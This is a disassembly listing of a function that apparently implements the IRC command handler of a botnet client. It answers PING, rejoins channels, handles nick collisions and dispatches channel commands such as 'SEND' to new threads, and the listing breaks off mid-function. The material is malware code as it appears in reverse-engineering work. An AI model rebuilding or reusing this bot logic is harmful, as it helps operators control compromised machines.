var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
var_2E58 = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
var_1594 = byte ptr -1594h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call sub_41EF80
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C0]
push ebx
push eax
mov [ebp+var_A4], 3
mov [ebp+var_10], ebx
mov [ebp+var_A8], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C4], ebx
call sub_41E4B0
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41E510
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_4076C4
push esi
lea eax, [ebp+var_4488]
push ebx
push eax
call sub_41E4B0
dec esi
lea eax, [ebp+var_4488]
push esi
push [ebp+arg_0]
push eax
call sub_41E510
lea eax, [ebp+var_4488]
push offset asc_43FB88 ; " :"
push eax
call sub_41EBB0
mov [ebp+var_C], eax
lea eax, [ebp+var_4488]
push esi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41E510
lea eax, [ebp+var_4AF0]
push offset asc_43FB8C ; " !"
push eax
call sub_41F870
xor edi, edi
add esp, 34h
inc edi
mov [ebp+var_90], eax
mov esi, edi
loc_401D4E: ; CODE XREF: sub_401C87+DFj
push 43FB8Eh
push ebx
call sub_41F870
mov [ebp+esi*4+var_90], eax
inc esi
pop ecx
cmp esi, 20h
pop ecx
jl short loc_401D4E
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_409C28
cmp [ebp+var_8C], ebx
jz loc_409C28
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
push 1Fh
pop edx
loc_401D9A: ; CODE XREF: sub_401C87+147j
lea ecx, [ebp+edx*4+var_90]
mov eax, [ecx]
cmp eax, ebx
jz short loc_401DCD
cmp byte ptr [eax], 2Dh
jnz short loc_401DD0
cmp [eax+2], bl
jnz short loc_401DD0
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401DCD: ; CODE XREF: sub_401C87+11Ej
dec edx
jns short loc_401D9A
loc_401DD0: ; CODE XREF: sub_401C87+123j
; sub_401C87+128j
cmp [ebp+var_8ED], bl
jz short loc_401DDB
mov [ebp+var_8], edi
loc_401DDB: ; CODE XREF: sub_401C87+14Fj
cmp [ebp+var_8F2], bl
jz short loc_401DE9
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401DE9: ; CODE XREF: sub_401C87+15Aj
cmp byte ptr [esi], 0Ah
jz short loc_401E23
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41E510
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C0]
push eax
call sub_41E510
lea eax, [ebp+var_C0]
push 43FB90h
push eax
call sub_41F870
add esp, 20h
loc_401E23: ; CODE XREF: sub_401C87+165j
push esi
push offset aPing ; "PING"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401E74
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409C2F
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_409C28
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409C2F
add esp, 10h
jmp loc_409C28
; ---------------------------------------------------------------------------
loc_401E74: ; CODE XREF: sub_401C87+1ABj
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409BE7
push esi
push offset a005 ; "005"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409BE7
push esi
push offset a302 ; "302"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401EE6
push offset a@ ; "@"
push [ebp+var_84]
call sub_41EBB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409C28
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41E510
add esp, 0Ch
jmp loc_409C28
; ---------------------------------------------------------------------------
loc_401EE6: ; CODE XREF: sub_401C87+22Cj
push esi
push offset a433 ; "433"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401F24
push ebx
push ds:dword_43F0A4
push ds:dword_43F0A0
push [ebp+arg_10]
call sub_40B38F
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409C2F
add esp, 1Ch
jmp loc_409C28
; ---------------------------------------------------------------------------
loc_401F24: ; CODE XREF: sub_401C87+26Ej
mov esi, [ebp+arg_18]
mov [ebp+var_2C8], 3
mov edi, 80h
loc_401F36: ; CODE XREF: sub_401C87+2D4j
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401F53
mov [ebp+var_A8], 1
loc_401F53: ; CODE XREF: sub_401C87+2C0j
add esi, edi
dec [ebp+var_2C8]
jnz short loc_401F36
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40203F
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401F82: ; CODE XREF: sub_401C87+37Aj
cmp [esi], bl
jz short loc_401FFC
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41E510
add esp, 0Ch
cmp [ebp+var_84], ebx
jz short loc_401FFC
push [ebp+var_84]
lea eax, [ebp+var_C0]
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_401FFC
lea eax, [ebp+var_C0]
mov [esi], bl
push eax
lea eax, [ebp+var_2C0]
push offset unk_43FBE0
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409C2F
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
add esp, 20h
loc_401FFC: ; CODE XREF: sub_401C87+2FDj
; sub_401C87+317j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401F82
push [ebp+var_84]
push [ebp+arg_10]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4076C4
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
loc_40202F: ; CODE XREF: sub_401C87+5EEj
; sub_401C87+886j ...
push [ebp+arg_4]
call sub_409C2F
loc_402037: ; CODE XREF: sub_401C87+24F5j
; sub_401C87+2512j ...
add esp, 10h
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_40203F: ; CODE XREF: sub_401C87+2EBj
push esi
push offset aNick ; "NICK"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_402187
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_402068: ; CODE XREF: sub_401C87+433j
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4020B5
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41F720
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_4020B5
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41F620
push [ebp+arg_1C]
push edi
call sub_41F630
add esp, 10h
mov edi, 80h
loc_4020B5: ; CODE XREF: sub_401C87+3F2j
; sub_401C87+409j
add esi, edi
dec [ebp+arg_0]
jnz short loc_402068
cmp [ebp+arg_24], ebx
jz loc_4076C4
push [ebp+arg_10]
lea eax, [ebp+var_C0]
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4020EF
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41E510
loc_4020E7: ; CODE XREF: sub_401C87+1BE6j
add esp, 0Ch
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_4020EF: ; CODE XREF: sub_401C87+451j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4020F4: ; CODE XREF: sub_401C87+48Ej
cmp [edi], bl
jz short loc_40210B
lea eax, [ebp+var_E00]
push eax
push edi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
loc_40210B: ; CODE XREF: sub_401C87+46Fj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4020F4
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_40211C: ; CODE XREF: sub_401C87+482j
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41F720
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_4076C4
push eax
call sub_41BC70
push [ebp+arg_24]
mov edi, eax
call sub_41BC70
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_4076C4
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41EA60
push ebx
lea eax, [ebp+var_45EC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409C75
add esp, 24h
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_402187: ; CODE XREF: sub_401C87+3C7j
push esi
push offset aPart ; "PART"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4021A9
push esi
push offset aQuit ; "QUIT"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4021D6
loc_4021A9: ; CODE XREF: sub_401C87+50Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_4021AE: ; CODE XREF: sub_401C87+547j
cmp [edi], bl
jz short loc_4021C4
push [ebp+var_90]
push edi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_402219
loc_4021C4: ; CODE XREF: sub_401C87+529j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4021AE
mov esi, [ebp+var_8C]
loc_4021D6: ; CODE XREF: sub_401C87+520j
push esi
push offset a353 ; "353"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40227A
push [ebp+var_80]
push [ebp+arg_8]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402205
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_402205: ; CODE XREF: sub_401C87+573j
push [ebp+var_80]
push offset unk_43FC44
loc_40220D: ; CODE XREF: sub_401C87+2877j
; sub_401C87+2C2Fj ...
call sub_415AB0
loc_402212: ; CODE XREF: sub_401C87+1B92j
pop ecx
loc_402213: ; CODE XREF: sub_401C87+590Fj
pop ecx
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_402219: ; CODE XREF: sub_401C87+53Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push offset unk_43FC64
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
push [ebp+var_8C]
push offset aPart_0 ; "PART"
call sub_41F7E0
add esp, 18h
test eax, eax
jnz loc_4076C4
lea eax, [ebp+var_2C0]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n"
jmp loc_40202F
; ---------------------------------------------------------------------------
loc_40227A: ; CODE XREF: sub_401C87+55Ej
push esi
push offset aPrivmsg ; "PRIVMSG"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4022BD
push esi
push offset aNotice ; "NOTICE"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4022BD
push esi
push offset a332 ; "332"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_409A67
cmp ds:dword_43F08C, ebx
jz loc_409A67
loc_4022BD: ; CODE XREF: sub_401C87+602j
; sub_401C87+613j
push esi
push offset aPrivmsg_0 ; "PRIVMSG"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_402431
push esi
push offset aNotice_0 ; "NOTICE"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_402431
mov eax, [ebp+var_84]
inc [ebp+var_80]
mov [ebp+var_A4], 4
mov [ebp+var_88], eax
loc_402300: ; CODE XREF: sub_401C87+864j
; sub_401C87+89Aj ...
mov eax, [ebp+var_A4]
mov esi, eax
shl esi, 2
lea edi, [ebp+esi+var_90]
mov eax, [edi]
push eax
push offset dword_43FCC4
mov [ebp+arg_8], eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4026D0
push [ebp+esi+var_8C]
push offset aSend_1 ; "SEND"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40259B
cmp [ebp+var_A8], ebx
jz loc_402571
push [ebp+esi+var_88]
lea eax, [ebp+var_1B80]
push offset aS_20 ; "%s"
push eax
call sub_41EA60
push [ebp+esi+var_84]
lea eax, [ebp+var_1B94]
push offset aS_21 ; "%s"
push eax
call sub_41EA60
push [ebp+esi+var_80]
call sub_41E710
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_1A7C]
push eax
call sub_41E510
mov eax, [ebp+var_4]
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+var_2C0]
push offset unk_43FCDC
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 1Ah
push eax
call sub_40B691
add esp, 44h
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset sub_416B2D
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jz loc_402560
jmp loc_402556
; ---------------------------------------------------------------------------
loc_402431: ; CODE XREF: sub_401C87+645j
; sub_401C87+65Aj
push esi
push offset aNotice_1 ; "NOTICE"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402449
mov [ebp+var_4], 1
loc_402449: ; CODE XREF: sub_401C87+7B9j
mov edi, [ebp+var_88]
cmp edi, ebx
jz loc_4076C4
push offset asc_43FD14 ; "#"
push edi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_40246D
cmp [ebp+var_4], ebx
jz short loc_402479
loc_40246D: ; CODE XREF: sub_401C87+7DFj
lea edi, [ebp+var_C0]
mov [ebp+var_88], edi
loc_402479: ; CODE XREF: sub_401C87+7E4j
cmp [ebp+var_84], ebx
jz loc_4076C4
inc [ebp+var_84]
jz short loc_4024C1
cmp [ebp+arg_10], ebx
jz short loc_4024C1
lea eax, [ebp+var_338]
push eax
call sub_41BC70
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41F5E0
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A4], eax
loc_4024C1: ; CODE XREF: sub_401C87+804j
; sub_401C87+809j
mov eax, [ebp+var_A4]
shl eax, 2
mov [ebp+arg_8], eax
mov esi, [ebp+eax+var_90]
cmp esi, ebx
jz loc_4076C4
push esi
push offset dword_43FD18
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_402300
cmp byte ptr [edi], 23h
jz short loc_402512
mov eax, ds:dword_4E2E74
mov eax, ds:off_43F1DC[eax*4]
cmp [eax], bl
jz short loc_402512
push eax
push edi
push offset dword_43FD24
jmp loc_40202F
; ---------------------------------------------------------------------------
loc_402512: ; CODE XREF: sub_401C87+86Dj
; sub_401C87+87Dj
push esi
push offset dword_43FD40
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_402300
mov eax, [ebp+arg_8]
mov eax, [ebp+eax+var_8C]
cmp eax, ebx
jz loc_402300
